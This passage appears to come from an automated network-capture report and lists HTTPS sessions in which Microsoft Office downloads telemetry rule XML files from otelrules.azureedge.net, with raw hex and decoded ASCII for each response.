2024-10-26 11:45:29 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49844	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: af778f23-101e-007a-027e-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-17c5cb586f69w69mgazyf263an0000000170000000000dz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:29 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49845	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-15b8d89586f6nn8zb8x99wuenc000000031g000000002uvh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49846	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: c4804143-f01e-0003-2fe0-254453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-15b8d89586f8nxpt6ys645x5v0000000031g000000009qh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49847	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:29 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f795d00-001e-0082-463f-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-15b8d89586fvk4kmbg8pf84y8800000002v0000000005sds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49848	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:29 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114529Z-16849878b78z2wx67pvzz63kdg00000000hg000000007683 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49849	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-16849878b78q4pnrt955f8nkx80000000an00000000029k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49850	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 806990b7-d01e-002b-5143-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-16849878b786jv8w2kpaf5zkqs00000000t000000000ca8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49851	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-16849878b78j7llf5vkyvvcehs000000030000000000bt43 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49852	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 094c1a0f-c01e-0066-77f2-24a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-15b8d89586fx2hlt035xdehq580000000hw0000000000sku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49853	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:30 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:30 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ff6a02c5-601e-003e-572b-263248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114530Z-r197bdfb6b46kdskt78qagqq1c000000025g00000000018g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49854	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:31 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:31 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 1c6b952c-401e-0048-780e-260409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114531Z-15b8d89586fzhrwgk23ex2bvhw00000004vg0000000004na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:31 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: 